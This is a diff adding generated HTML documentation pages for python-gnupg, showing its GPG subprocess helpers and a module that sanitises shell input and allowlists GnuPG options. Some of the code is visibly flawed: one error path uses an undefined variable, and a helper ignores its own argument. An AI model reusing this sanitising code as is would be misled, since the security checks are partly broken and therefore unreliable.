[docs] def _collect_output(self, process, result, writer=None, stdin=None): + """Drain the subprocesses output streams, writing the collected output + to the result. If a writer thread (writing to the subprocess) is given, + make sure it's joined before returning. If a stdin stream is given, + close it before returning. + """ + stderr = codecs.getreader(self._encoding)(process.stderr) + rr = threading.Thread(target=self._read_response, + args=(stderr, result)) + rr.setDaemon(True) + log.debug('stderr reader: %r', rr) + rr.start() + + stdout = process.stdout + dr = threading.Thread(target=self._read_data, args=(stdout, result)) + dr.setDaemon(True) + log.debug('stdout reader: %r', dr) + dr.start() + + dr.join() + rr.join() + if writer is not None: + writer.join() + process.wait() + if stdin is not None: + try: + stdin.close() + except IOError: + pass + stderr.close() + stdout.close() +
+
[docs] def _handle_io(self, args, file, result, passphrase=False, binary=False): + """Handle a call to GPG - pass input data, collect output data.""" + p = self._open_subprocess(args, passphrase) + if not binary: + stdin = codecs.getwriter(self._encoding)(p.stdin) + else: + stdin = p.stdin + if passphrase: + _util._write_passphrase(stdin, passphrase, self._encoding) + writer = _util._threaded_copy_data(file, stdin) + self._collect_output(p, result, writer, stdin) + return result +
+
[docs] def _recv_keys(self, keyids, keyserver=None): + """Import keys from a keyserver. + + :param str keyids: A space-delimited string containing the keyids to + request. + :param str keyserver: The keyserver to request the ``keyids`` from; + defaults to `gnupg.GPG.keyserver`. + """ + if not keyserver: + keyserver = self.keyserver + + args = ['--keyserver {0}'.format(keyserver), + '--recv-keys {0}'.format(keyids)] + log.info('Requesting keys from %s: %s' % (keyserver, keyids)) + + result = self._result_map['import'](self) + proc = self._open_subprocess(args) + self._collect_output(proc, result) + log.debug('recv_keys result: %r', result.__dict__) + return result +
+
[docs] def _sign_file(self, file, default_key=None, passphrase=None, + clearsign=True, detach=False, binary=False, + digest_algo='SHA512'): + """Create a signature for a file. + + :param file: The file stream (i.e. it's already been open()'d) to sign. + :param str default_key: The key to sign with. + :param str passphrase: The passphrase to pipe to stdin. + :param bool clearsign: If True, create a cleartext signature. + :param bool detach: If True, create a detached signature. + :param bool binary: If True, do not ascii armour the output. + :param str digest_algo: The hash digest to use. Again, to see which + hashes your GnuPG is capable of using, do: + ``$ gpg --with-colons --list-config + digestname``. The default, if unspecified, is + ``'SHA512'``. + """ + log.debug("_sign_file():") + if binary: + log.info("Creating binary signature for file %s" % file) + args = ['--sign'] + else: + log.info("Creating ascii-armoured signature for file %s" % file) + args = ['--sign --armor'] + + if clearsign: + args.append("--clearsign") + if detach: + log.warn("Cannot use both --clearsign and --detach-sign.") + log.warn("Using default GPG behaviour: --clearsign only.") + elif detach and not clearsign: + args.append("--detach-sign") + + if default_key: + args.append(str("--default-key %s" % default_key)) + + args.append(str("--digest-algo %s" % digest_algo)) + + ## We could use _handle_io here except for the fact that if the + ## passphrase is bad, gpg bails and you can't write the message. + result = self._result_map['sign'](self) + proc = self._open_subprocess(args, passphrase is not None) + try: + if passphrase: + _util._write_passphrase(proc.stdin, passphrase, self._encoding) + writer = _util._threaded_copy_data(file, proc.stdin) + except IOError as ioe: + log.exception("Error writing message: %s" % str(ioe)) + writer = None + self._collect_output(proc, result, writer, proc.stdin) + return result +
+
[docs] def _encrypt(self, data, recipients, + default_key=None, + passphrase=None, + armor=True, + encrypt=True, + symmetric=False, + always_trust=True, + output=None, + cipher_algo='AES256', + digest_algo='SHA512', + compress_algo='ZLIB'): + """Encrypt the message read from the file-like object **data**. + + :param str data: The file or bytestream to encrypt. + + :param str recipients: The recipients to encrypt to. Recipients must + be specified keyID/fingerprint. + + .. warning:: Care should be taken in Python2 to make sure that the + given fingerprints for **recipients** are in fact strings + and not unicode objects. + + :param str default_key: The keyID/fingerprint of the key to use for + signing. If given, **data** will be encrypted + *and* signed. + + :param str passphrase: If given, and **default_key** is also given, + use this passphrase to unlock the secret + portion of the **default_key** to sign the + encrypted **data**. Otherwise, if + **default_key** is not given, but **symmetric** + is ``True``, then use this passphrase as the + passphrase for symmetric encryption. Signing + and symmetric encryption should *not* be + combined when sending the **data** to other + recipients, else the passphrase to the secret + key would be shared with them. + + :param bool armor: If True, ascii armor the output; otherwise, the + output will be in binary format. (Default: True) + + :param bool encrypt: If True, encrypt the **data** using the + **recipients** public keys. (Default: True) + + :param bool symmetric: If True, encrypt the **data** to **recipients** + using a symmetric key. See the **passphrase** + parameter. Symmetric encryption and public key + encryption can be used simultaneously, and will + result in a ciphertext which is decryptable + with either the symmetric **passphrase** or one + of the corresponding private keys. + + :param bool always_trust: If True, ignore trust warnings on + **recipients** keys. If False, display trust + warnings. (default: True) + + :param str output: The output file to write to. If not specified, the + encrypted output is returned, and thus should be + stored as an object in Python. For example: + + + >>> import shutil + >>> import gnupg + >>> if os.path.exists("doctests"): + ... shutil.rmtree("doctests") + >>> gpg = gnupg.GPG(homedir="doctests") + >>> key_settings = gpg.gen_key_input(key_type='RSA', + ... key_length=1024, + ... key_usage='ESCA', + ... passphrase='foo') + >>> key = gpg.gen_key(key_settings) + >>> message = "The crow flies at midnight." + >>> encrypted = str(gpg.encrypt(message, key.printprint)) + >>> assert encrypted != message + >>> assert not encrypted.isspace() + >>> decrypted = str(gpg.decrypt(encrypted)) + >>> assert not decrypted.isspace() + >>> decrypted + 'The crow flies at midnight.' + + :param str cipher_algo: The cipher algorithm to use. To see available + algorithms with your version of GnuPG, do: + :command:`$ gpg --with-colons --list-config + ciphername`. The default **cipher_algo**, if + unspecified, is ``'AES256'``. + + :param str digest_algo: The hash digest to use. Again, to see which + hashes your GnuPG is capable of using, do: + :command:`$ gpg --with-colons --list-config + digestname`. The default, if unspecified, is + ``'SHA512'``. + + :param str compress_algo: The compression algorithm to use. Can be one + of ``'ZLIB'``, ``'BZIP2'``, ``'ZIP'``, or + ``'Uncompressed'``. + """ + args = [] + + if output: + if getattr(output, 'fileno', None) is not None: + ## avoid overwrite confirmation message + if getattr(output, 'name', None) is None: + if os.path.exists(output): + os.remove(output) + args.append('--output %s' % output) + else: + if os.path.exists(output.name): + os.remove(output.name) + args.append('--output %s' % output.name) + + if armor: args.append('--armor') + if always_trust: args.append('--always-trust') + if cipher_algo: args.append('--cipher-algo %s' % cipher_algo) + if compress_algo: args.append('--compress-algo %s' % compress_algo) + + if default_key: + args.append('--sign') + args.append('--default-key %s' % default_key) + if digest_algo: + args.append('--digest-algo %s' % digest_algo) + + ## both can be used at the same time for an encrypted file which + ## is decryptable with a passphrase or secretkey. + if symmetric: args.append('--symmetric') + if encrypt: args.append('--encrypt') + + if len(recipients) >= 1: + log.debug("GPG.encrypt() called for recipients '%s' with type '%s'" + % (recipients, type(recipients))) + + if isinstance(recipients, (list, tuple)): + for recp in recipients: + if not _util._py3k: + if isinstance(recp, unicode): + try: + assert _parsers._is_hex(str(recp)) + except AssertionError: + log.info("Can't accept recipient string: %s" + % recp) + else: + args.append('--recipient %s' % str(recp)) + continue + ## will give unicode in 2.x as '\uXXXX\uXXXX' + args.append('--recipient %r' % recp) + continue + if isinstance(recp, str): + args.append('--recipient %s' % recp) + + elif (not _util._py3k) and isinstance(recp, basestring): + for recp in recipients.split('\x20'): + args.append('--recipient %s' % recp) + + elif _util._py3k and isinstance(recp, str): + for recp in recipients.split(' '): + args.append('--recipient %s' % recp) + ## ...and now that we've proven py3k is better... + + else: + log.debug("Don't know what to do with recipients: '%s'" + % recipients) + + result = self._result_map['crypt'](self) + log.debug("Got data '%s' with type '%s'." + % (data, type(data))) + self._handle_io(args, data, result, + passphrase=passphrase, binary=True) + log.debug("\n%s" % result.data) + return result
+
+ +
+
+
+
+ +
+
+
+ + + + + \ No newline at end of file diff --git a/docs/_build/html/_modules/gnupg/_parsers.html b/docs/_build/html/_modules/gnupg/_parsers.html new file mode 100644 index 0000000..a203f11 --- /dev/null +++ b/docs/_build/html/_modules/gnupg/_parsers.html @@ -0,0 +1,1486 @@ + + + + + + + + gnupg._parsers — gnupg unknown documentation + + + + + + + + + + + + +
+ +
+ +
+
+
+ +
+
+
+ +

Source code for gnupg._parsers

+# -*- coding: utf-8 -*-
+#
+# This file is part of python-gnupg, a Python interface to GnuPG.
+# Copyright © 2013 Isis Lovecruft, <isis@leap.se> 0xA3ADB67A2CDB8B35
+#           © 2013 Andrej B.
+#           © 2013 LEAP Encryption Access Project
+#           © 2008-2012 Vinay Sajip
+#           © 2005 Steve Traugott
+#           © 2004 A.M. Kuchling
+#
+# This program is free software: you can redistribute it and/or modify it
+# under the terms of the GNU General Public License as published by the Free
+# Software Foundation, either version 3 of the License, or (at your option)
+# any later version.
+#
+# This program is distributed in the hope that it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+# FITNESS FOR A PARTICULAR PURPOSE. See the included LICENSE file for details.
+
+'''Classes for parsing GnuPG status messages and sanitising commandline
+options.
+'''
+
+from __future__ import absolute_import
+from __future__ import print_function
+
+try:
+    from collections import OrderedDict
+except ImportError:
+    from ordereddict import OrderedDict
+
+import re
+
+from .      import _util
+from ._util import log
+
+
+ESCAPE_PATTERN = re.compile(r'\\x([0-9a-f][0-9a-f])', re.I)
+HEXIDECIMAL    = re.compile('([0-9A-Fa-f]{2})+')
+
+
+
[docs]class ProtectedOption(Exception): + """Raised when the option passed to GPG is disallowed.""" +
+
[docs]class UsageError(Exception): + """Raised when incorrect usage of the API occurs..""" + +
+
[docs]def _check_keyserver(location): + """Check that a given keyserver is a known protocol and does not contain + shell escape characters. + + :param str location: A string containing the default keyserver. This + should contain the desired keyserver protocol which + is supported by the keyserver, for example, the + default is ``'hkp://wwwkeys .pgp.net'``. + :rtype: :obj:`str` or :obj:`None` + :returns: A string specifying the protocol and keyserver hostname, if the + checks passed. If not, returns None. + """ + protocols = ['hkp://', 'hkps://', 'http://', 'https://', 'ldap://', + 'mailto:'] ## xxx feels like i´m forgetting one... + for proto in protocols: + if location.startswith(proto): + url = location.replace(proto, str()) + host, slash, extra = url.partition('/') + if extra: log.warn("URI text for %s: '%s'" % (host, extra)) + log.debug("Got host string for keyserver setting: '%s'" % host) + + host = _fix_unsafe(host) + if host: + log.debug("Cleaned host string: '%s'" % host) + keyserver = proto + host + return keyserver + return None +
+
[docs]def _check_preferences(prefs, pref_type=None): + """Check cipher, digest, and compression preference settings. + + MD5 is not allowed. This is `not 1994`__. SHA1 is allowed_ grudgingly_. + + __ http://www.cs.colorado.edu/~jrblack/papers/md5e-full.pdf + .. _allowed: http://eprint.iacr.org/2008/469.pdf + .. _grudgingly: https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html + """ + if prefs is None: return + + cipher = frozenset(['AES256', 'AES192', 'AES128', + 'CAMELLIA256', 'CAMELLIA192', + 'TWOFISH', '3DES']) + digest = frozenset(['SHA512', 'SHA384', 'SHA256', 'SHA224', 'RMD160', + 'SHA1']) + compress = frozenset(['BZIP2', 'ZLIB', 'ZIP', 'Uncompressed']) + all = frozenset([cipher, digest, compress]) + + if isinstance(prefs, str): + prefs = set(prefs.split()) + elif isinstance(prefs, list): + prefs = set(prefs) + else: + msg = "prefs must be list of strings, or space-separated string" + log.error("parsers._check_preferences(): %s" % message) + raise TypeError(message) + + if not pref_type: + pref_type = 'all' + + allowed = str() + + if pref_type == 'cipher': + allowed += ' '.join(prefs.intersection(cipher)) + if pref_type == 'digest': + allowed += ' '.join(prefs.intersection(digest)) + if pref_type == 'compress': + allowed += ' '.join(prefs.intersection(compress)) + if pref_type == 'all': + allowed += ' '.join(prefs.intersection(all)) + + return allowed +
+
[docs]def _fix_unsafe(shell_input): + """Find characters used to escape from a string into a shell, and wrap them in + quotes if they exist. Regex pilfered from Python3 :mod:`shlex` module. + + :param str shell_input: The input intended for the GnuPG process. + """ + _unsafe = re.compile(r'[^\w@%+=:,./-]', 256) + try: + if len(_unsafe.findall(shell_input)) == 0: + return shell_input.strip() + else: + clean = "'" + shell_input.replace("'", "'\"'\"'") + "'" + return clean + except TypeError: + return None +
+
[docs]def _hyphenate(input, add_prefix=False): + """Change underscores to hyphens so that object attributes can be easily + tranlated to GPG option names. + + :param str input: The attribute to hyphenate. + :param bool add_prefix: If True, add leading hyphens to the input. + :rtype: str + :return: The ``input`` with underscores changed to hyphens. + """ + ret = '--' if add_prefix else '' + ret += input.replace('_', '-') + return ret +
+
[docs]def _is_allowed(input): + """Check that an option or argument given to GPG is in the set of allowed + options, the latter being a strict subset of the set of all options known + to GPG. + + :param str input: An input meant to be parsed as an option or flag to the + GnuPG process. Should be formatted the same as an option + or flag to the commandline gpg, i.e. "--encrypt-files". + + :ivar frozenset gnupg_options: All known GPG options and flags. + + :ivar frozenset allowed: All allowed GPG options and flags, e.g. all GPG + options and flags which we are willing to + acknowledge and parse. If we want to support a + new option, it will need to have its own parsing + class and its name will need to be added to this + set. + + :raises: :exc:`UsageError` if **input** is not a subset of the hard-coded + set of all GnuPG options in :func:`_get_all_gnupg_options`. + + :exc:`ProtectedOption` if **input** is not in the set of allowed + options. + + :rtype: str + :return: The original **input** parameter, unmodified and unsanitized, if + no errors occur. + """ + gnupg_options = _get_all_gnupg_options() + allowed = _get_options_group("allowed") + + ## these are the allowed options we will handle so far, all others should + ## be dropped. this dance is so that when new options are added later, we + ## merely add the to the _allowed list, and the `` _allowed.issubset`` + ## assertion will check that GPG will recognise them + try: + ## check that allowed is a subset of all gnupg_options + assert allowed.issubset(gnupg_options) + except AssertionError: + raise UsageError("'allowed' isn't a subset of known options, diff: %s" + % allowed.difference(gnupg_options)) + + ## if we got a list of args, join them + ## + ## see TODO file, tag :cleanup: + if not isinstance(input, str): + input = ' '.join([x for x in input]) + + if isinstance(input, str): + if input.find('_') > 0: + if not input.startswith('--'): + hyphenated = _hyphenate(input, add_prefix=True) + else: + hyphenated = _hyphenate(input) + else: + hyphenated = input + ## xxx we probably want to use itertools.dropwhile here + try: + assert hyphenated in allowed + except AssertionError as ae: + dropped = _fix_unsafe(hyphenated) + log.warn("_is_allowed(): Dropping option '%s'..." % dropped) + raise ProtectedOption("Option '%s' not supported." % dropped) + else: + return input + return None +
+
[docs]def _is_hex(string): + """Check that a string is hexidecimal, with alphabetic characters + capitalized and without whitespace. + + :param str string: The string to check. + """ + matched = HEXIDECIMAL.match(string) + if matched is not None and len(matched.group()) >= 2: + return True + return False +
+
[docs]def _is_string(thing): + """Python character arrays are a mess. + + If Python2, check if **thing** is an :obj:`unicode` or a :obj:`str`. + If Python3, check if **thing** is a :obj:`str`. + + :param thing: The thing to check. + :returns: ``True`` if **thing** is a string according to whichever version + of Python we're running in. + """ + if _util._py3k: return isinstance(thing, str) + else: return isinstance(thing, basestring) +
+
[docs]def _sanitise(*args): + """Take an arg or the key portion of a kwarg and check that it is in the + set of allowed GPG options and flags, and that it has the correct + type. Then, attempt to escape any unsafe characters. If an option is not + allowed, drop it with a logged warning. Returns a dictionary of all + sanitised, allowed options. + + Each new option that we support that is not a boolean, but instead has + some additional inputs following it, i.e. "--encrypt-file foo.txt", will + need some basic safety checks added here. + + GnuPG has three-hundred and eighteen commandline flags. Also, not all + implementations of OpenPGP parse PGP packets and headers in the same way, + so there is added potential there for messing with calls to GPG. + + For information on the PGP message format specification, see + :rfc:`1991`. + + If you're asking, "Is this *really* necessary?": No, not really -- we could + just follow the security precautions recommended by `this xkcd`__. + + __ https://xkcd.com/1181/ + + :param str args: (optional) The boolean arguments which will be passed to + the GnuPG process. + :rtype: str + :returns: ``sanitised`` + """ + + ## see TODO file, tag :cleanup:sanitise: + + def _check_option(arg, value): + """Check that a single ``arg`` is an allowed option. + + If it is allowed, quote out any escape characters in ``value``, and + add the pair to :ivar:`sanitised`. Otherwise, drop them. + + :param str arg: The arguments which will be passed to the GnuPG + process, and, optionally their corresponding values. + The values are any additional arguments following the + GnuPG option or flag. For example, if we wanted to + pass ``"--encrypt --recipient isis@leap.se"`` to + GnuPG, then ``"--encrypt"`` would be an arg without a + value, and ``"--recipient"`` would also be an arg, + with a value of ``"isis@leap.se"``. + + :ivar list checked: The sanitised, allowed options and values. + :rtype: str + :returns: A string of the items in ``checked``, delimited by spaces. + """ + checked = str() + none_options = _get_options_group("none_options") + hex_options = _get_options_group("hex_options") + hex_or_none_options = _get_options_group("hex_or_none_options") + + if not _util._py3k: + if not isinstance(arg, list) and isinstance(arg, unicode): + arg = str(arg) + + try: + flag = _is_allowed(arg) + assert flag is not None, "_check_option(): got None for flag" + except (AssertionError, ProtectedOption) as error: + log.warn("_check_option(): %s" % str(error)) + else: + checked += (flag + ' ') + + if _is_string(value): + values = value.split(' ') + for v in values: + ## these can be handled separately, without _fix_unsafe(), + ## because they are only allowed if they pass the regex + if (flag in none_options) and (v is None): + continue + + if flag in hex_options: + if _is_hex(v): checked += (v + " ") + else: + log.debug("'%s %s' not hex." % (flag, v)) + if (flag in hex_or_none_options) and (v is None): + log.debug("Allowing '%s' for all keys" % flag) + continue + + elif flag in ['--keyserver']: + host = _check_keyserver(v) + if host: + log.debug("Setting keyserver: %s" % host) + checked += (v + " ") + else: log.debug("Dropping keyserver: %s" % v) + continue + + ## the rest are strings, filenames, etc, and should be + ## shell escaped: + val = _fix_unsafe(v) + try: + assert not val is None + assert not val.isspace() + assert not v is None + assert not v.isspace() + except: + log.debug("Dropping %s %s" % (flag, v)) + continue + + if flag in ['--encrypt', '--encrypt-files', '--decrypt', + '--decrypt-files', '--import', '--verify']: + if ( (_util._is_file(val)) + or + ((flag == '--verify') and (val == '-')) ): + checked += (val + " ") + else: + log.debug("%s not file: %s" % (flag, val)) + + elif flag in ['--cipher-algo', '--personal-cipher-prefs', + '--personal-cipher-preferences']: + legit_algos = _check_preferences(val, 'cipher') + if legit_algos: checked += (legit_algos + " ") + else: log.debug("'%s' is not cipher" % val) + + elif flag in ['--compress-algo', '--compression-algo', + '--personal-compress-prefs', + '--personal-compress-preferences']: + legit_algos = _check_preferences(val, 'compress') + if legit_algos: checked += (legit_algos + " ") + else: log.debug("'%s' not compress algo" % val) + + else: + checked += (val + " ") + log.debug("_check_option(): No checks for %s" % val) + + return checked + + is_flag = lambda x: x.startswith('--') + + def _make_filo(args_string): + filo = arg.split(' ') + filo.reverse() + log.debug("_make_filo(): Converted to reverse list: %s" % filo) + return filo + + def _make_groups(filo): + groups = {} + while len(filo) >= 1: + last = filo.pop() + if is_flag(last): + log.debug("Got arg: %s" % last) + if last == '--verify': + groups[last] = str(filo.pop()) + ## accept the read-from-stdin arg: + if len(filo) >= 1 and filo[len(filo)-1] == '-': + groups[last] += str(' - ') ## gross hack + filo.pop() + else: + groups[last] = str() + while len(filo) > 1 and not is_flag(filo[len(filo)-1]): + log.debug("Got value: %s" % filo[len(filo)-1]) + groups[last] += (filo.pop() + " ") + else: + if len(filo) == 1 and not is_flag(filo[0]): + log.debug("Got value: %s" % filo[0]) + groups[last] += filo.pop() + else: + log.warn("_make_groups(): Got solitary value: %s" % last) + groups["xxx"] = last + return groups + + def _check_groups(groups): + log.debug("Got groups: %s" % groups) + checked_groups = [] + for a,v in groups.items(): + v = None if len(v) == 0 else v + safe = _check_option(a, v) + if safe is not None and not safe.strip() == "": + log.debug("Appending option: %s" % safe) + checked_groups.append(safe) + else: + log.warn("Dropped option: '%s %s'" % (a,v)) + return checked_groups + + if args is not None: + option_groups = {} + for arg in args: + ## if we're given a string with a bunch of options in it split + ## them up and deal with them separately + if (not _util._py3k and isinstance(arg, basestring)) \ + or (_util._py3k and isinstance(arg, str)): + log.debug("Got arg string: %s" % arg) + if arg.find(' ') > 0: + filo = _make_filo(arg) + option_groups.update(_make_groups(filo)) + else: + option_groups.update({ arg: "" }) + elif isinstance(arg, list): + log.debug("Got arg list: %s" % arg) + arg.reverse() + option_groups.update(_make_groups(arg)) + else: + log.warn("Got non-str/list arg: '%s', type '%s'" + % (arg, type(arg))) + checked = _check_groups(option_groups) + sanitised = ' '.join(x for x in checked) + return sanitised + else: + log.debug("Got None for args") +
+
[docs]def _sanitise_list(arg_list): + """A generator for iterating through a list of gpg options and sanitising + them. + + :param list arg_list: A list of options and flags for GnuPG. + :rtype: generator + :returns: A generator whose next() method returns each of the items in + ``arg_list`` after calling ``_sanitise()`` with that item as a + parameter. + """ + if isinstance(arg_list, list): + for arg in arg_list: + safe_arg = _sanitise(arg) + if safe_arg != "": + yield safe_arg +
+
[docs]def _get_options_group(group=None): + """Get a specific group of options which are allowed.""" + + #: These expect a hexidecimal keyid as their argument, and can be parsed + #: with :func:`_is_hex`. + hex_options = frozenset(['--check-sigs', + '--default-key', + '--default-recipient', + '--delete-keys', + '--delete-secret-keys', + '--delete-secret-and-public-keys', + '--desig-revoke', + '--export', + '--export-secret-keys', + '--export-secret-subkeys', + '--fingerprint', + '--gen-revoke', + '--list-key', + '--list-keys', + '--list-public-keys', + '--list-secret-keys', + '--list-sigs', + '--recipient', + '--recv-keys', + '--send-keys', + ]) + #: These options expect value which are left unchecked, though still run + #: through :func:`_fix_unsafe`. + unchecked_options = frozenset(['--list-options', + '--passphrase-fd', + '--status-fd', + '--verify-options', + ]) + #: These have their own parsers and don't really fit into a group + other_options = frozenset(['--debug-level', + '--keyserver', + + ]) + #: These should have a directory for an argument + dir_options = frozenset(['--homedir', + ]) + #: These expect a keyring or keyfile as their argument + keyring_options = frozenset(['--keyring', + '--primary-keyring', + '--secret-keyring', + '--trustdb-name', + ]) + #: These expect a filename (or the contents of a file as a string) or None + #: (meaning that they read from stdin) + file_or_none_options = frozenset(['--decrypt', + '--decrypt-files', + '--encrypt', + '--encrypt-files', + '--import', + '--verify', + '--verify-files', + ]) + #: These options expect a string. see :func:`_check_preferences`. + pref_options = frozenset(['--digest-algo', + '--cipher-algo', + '--compress-algo', + '--compression-algo', + '--cert-digest-algo', + '--personal-digest-prefs', + '--personal-digest-preferences', + '--personal-cipher-prefs', + '--personal-cipher-preferences', + '--personal-compress-prefs', + '--personal-compress-preferences', + '--print-md', + ]) + #: These options expect no arguments + none_options = frozenset(['--always-trust', + '--armor', + '--armour', + '--batch', + '--check-sigs', + '--check-trustdb', + '--clearsign', + '--debug-all', + '--default-recipient-self', + '--detach-sign', + '--export', + '--export-ownertrust', + '--export-secret-keys', + '--export-secret-subkeys', + '--fingerprint', + '--fixed-list-mode', + '--gen-key', + '--import-ownertrust', + '--list-config', + '--list-key', + '--list-keys', + '--list-packets', + '--list-public-keys', + '--list-secret-keys', + '--list-sigs', + '--no-default-keyring', + '--no-default-recipient', + '--no-emit-version', + '--no-options', + '--no-tty', + '--no-use-agent', + '--no-verbose', + '--print-mds', + '--quiet', + '--sign', + '--symmetric', + '--use-agent', + '--verbose', + '--version', + '--with-colons', + '--yes', + ]) + #: These options expect either None or a hex string + hex_or_none_options = hex_options.intersection(none_options) + allowed = hex_options.union(unchecked_options, other_options, dir_options, + keyring_options, file_or_none_options, + pref_options, none_options) + + if group and group in locals().keys(): + return locals()[group] +
+
[docs]def _get_all_gnupg_options(): + """Get all GnuPG options and flags. + + This is hardcoded within a local scope to reduce the chance of a tampered + GnuPG binary reporting falsified option sets, i.e. because certain options + (namedly the ``--no-options`` option, which prevents the usage of gpg.conf + files) are necessary and statically specified in + :meth:`gnupg._meta.GPGBase._make_args`, if the inputs into Python are + already controlled, and we were to summon the GnuPG binary to ask it for + its options, it would be possible to receive a falsified options set + missing the ``--no-options`` option in response. This seems unlikely, and + the method is stupid and ugly, but at least we'll never have to debug + whether or not an option *actually* disappeared in a different GnuPG + version, or some funny business is happening. + + These are the options as of GnuPG 1.4.12; the current stable branch of the + 2.1.x tree contains a few more -- if you need them you'll have to add them + in here. + + :type gnupg_options: frozenset + :ivar gnupg_options: All known GPG options and flags. + :rtype: frozenset + :returns: ``gnupg_options`` + """ + three_hundred_eighteen = (""" +--allow-freeform-uid --multifile +--allow-multiple-messages --no +--allow-multisig-verification --no-allow-freeform-uid +--allow-non-selfsigned-uid --no-allow-multiple-messages +--allow-secret-key-import --no-allow-non-selfsigned-uid +--always-trust --no-armor +--armor --no-armour +--armour --no-ask-cert-expire +--ask-cert-expire --no-ask-cert-level +--ask-cert-level --no-ask-sig-expire +--ask-sig-expire --no-auto-check-trustdb +--attribute-fd --no-auto-key-locate +--attribute-file --no-auto-key-retrieve +--auto-check-trustdb --no-batch +--auto-key-locate --no-comments +--auto-key-retrieve --no-default-keyring +--batch --no-default-recipient +--bzip2-compress-level --no-disable-mdc +--bzip2-decompress-lowmem --no-emit-version +--card-edit --no-encrypt-to +--card-status --no-escape-from-lines +--cert-digest-algo --no-expensive-trust-checks +--cert-notation --no-expert +--cert-policy-url --no-force-mdc +--change-pin --no-force-v3-sigs +--charset --no-force-v4-certs +--check-sig --no-for-your-eyes-only +--check-sigs --no-greeting +--check-trustdb --no-groups +--cipher-algo --no-literal +--clearsign --no-mangle-dos-filenames +--command-fd --no-mdc-warning +--command-file --no-options +--comment --no-permission-warning +--completes-needed --no-pgp2 +--compress-algo --no-pgp6 +--compression-algo --no-pgp7 +--compress-keys --no-pgp8 +--compress-level --no-random-seed-file +--compress-sigs --no-require-backsigs +--ctapi-driver --no-require-cross-certification +--dearmor --no-require-secmem +--dearmour --no-rfc2440-text +--debug --no-secmem-warning +--debug-all --no-show-notation +--debug-ccid-driver --no-show-photos +--debug-level --no-show-policy-url +--decrypt --no-sig-cache +--decrypt-files --no-sig-create-check +--default-cert-check-level --no-sk-comments +--default-cert-expire --no-strict +--default-cert-level --notation-data +--default-comment --not-dash-escaped +--default-key --no-textmode +--default-keyserver-url --no-throw-keyid +--default-preference-list --no-throw-keyids +--default-recipient --no-tty +--default-recipient-self --no-use-agent +--default-sig-expire --no-use-embedded-filename +--delete-keys --no-utf8-strings +--delete-secret-and-public-keys --no-verbose +--delete-secret-keys --no-version +--desig-revoke --openpgp +--detach-sign --options +--digest-algo --output +--disable-ccid --override-session-key +--disable-cipher-algo --passphrase +--disable-dsa2 --passphrase-fd +--disable-mdc --passphrase-file +--disable-pubkey-algo --passphrase-repeat +--display --pcsc-driver +--display-charset --personal-cipher-preferences +--dry-run --personal-cipher-prefs +--dump-options --personal-compress-preferences +--edit-key --personal-compress-prefs +--emit-version --personal-digest-preferences +--enable-dsa2 --personal-digest-prefs +--enable-progress-filter --pgp2 +--enable-special-filenames --pgp6 +--enarmor --pgp7 +--enarmour --pgp8 +--encrypt --photo-viewer +--encrypt-files --pipemode +--encrypt-to --preserve-permissions +--escape-from-lines --primary-keyring +--exec-path --print-md +--exit-on-status-write-error --print-mds +--expert --quick-random +--export --quiet +--export-options --reader-port +--export-ownertrust --rebuild-keydb-caches +--export-secret-keys --recipient +--export-secret-subkeys --recv-keys +--fast-import --refresh-keys +--fast-list-mode --remote-user +--fetch-keys --require-backsigs +--fingerprint --require-cross-certification +--fixed-list-mode --require-secmem +--fix-trustdb --rfc1991 +--force-mdc --rfc2440 +--force-ownertrust --rfc2440-text +--force-v3-sigs --rfc4880 +--force-v4-certs --run-as-shm-coprocess +--for-your-eyes-only --s2k-cipher-algo +--gen-key --s2k-count +--gen-prime --s2k-digest-algo +--gen-random --s2k-mode +--gen-revoke --search-keys +--gnupg --secret-keyring +--gpg-agent-info --send-keys +--gpgconf-list --set-filename +--gpgconf-test --set-filesize +--group --set-notation +--help --set-policy-url +--hidden-encrypt-to --show-keyring +--hidden-recipient --show-notation +--homedir --show-photos +--honor-http-proxy --show-policy-url +--ignore-crc-error --show-session-key +--ignore-mdc-error --sig-keyserver-url +--ignore-time-conflict --sign +--ignore-valid-from --sign-key +--import --sig-notation +--import-options --sign-with +--import-ownertrust --sig-policy-url +--interactive --simple-sk-checksum +--keyid-format --sk-comments +--keyring --skip-verify +--keyserver --status-fd +--keyserver-options --status-file +--lc-ctype --store +--lc-messages --strict +--limit-card-insert-tries --symmetric +--list-config --temp-directory +--list-key --textmode +--list-keys --throw-keyid +--list-only --throw-keyids +--list-options --trustdb-name +--list-ownertrust --trusted-key +--list-packets --trust-model +--list-public-keys --try-all-secrets +--list-secret-keys --ttyname +--list-sig --ttytype +--list-sigs --ungroup +--list-trustdb --update-trustdb +--load-extension --use-agent +--local-user --use-embedded-filename +--lock-multiple --user +--lock-never --utf8-strings +--lock-once --verbose +--logger-fd --verify +--logger-file --verify-files +--lsign-key --verify-options +--mangle-dos-filenames --version +--marginals-needed --warranty +--max-cert-depth --with-colons +--max-output --with-fingerprint +--merge-only --with-key-data +--min-cert-level --yes +""").split() + + # These are extra options which only exist for GnuPG>=2.0.0 + three_hundred_eighteen.append('--export-ownertrust') + three_hundred_eighteen.append('--import-ownertrust') + + gnupg_options = frozenset(three_hundred_eighteen) + return gnupg_options +
+
[docs]def nodata(status_code): + """Translate NODATA status codes from GnuPG to messages.""" + lookup = { + '1': 'No armored data.', + '2': 'Expected a packet but did not find one.', + '3': 'Invalid packet found, this may indicate a non OpenPGP message.', + '4': 'Signature expected but not found.' } + for key, value in lookup.items(): + if str(status_code) == key: + return value +
+
[docs]def progress(status_code): + """Translate PROGRESS status codes from GnuPG to messages.""" + lookup = { + 'pk_dsa': 'DSA key generation', + 'pk_elg': 'Elgamal key generation', + 'primegen': 'Prime generation', + 'need_entropy': 'Waiting for new entropy in the RNG', + 'tick': 'Generic tick without any special meaning - still working.', + 'starting_agent': 'A gpg-agent was started.', + 'learncard': 'gpg-agent or gpgsm is learning the smartcard data.', + 'card_busy': 'A smartcard is still working.' } + for key, value in lookup.items(): + if str(status_code) == key: + return value + +
+
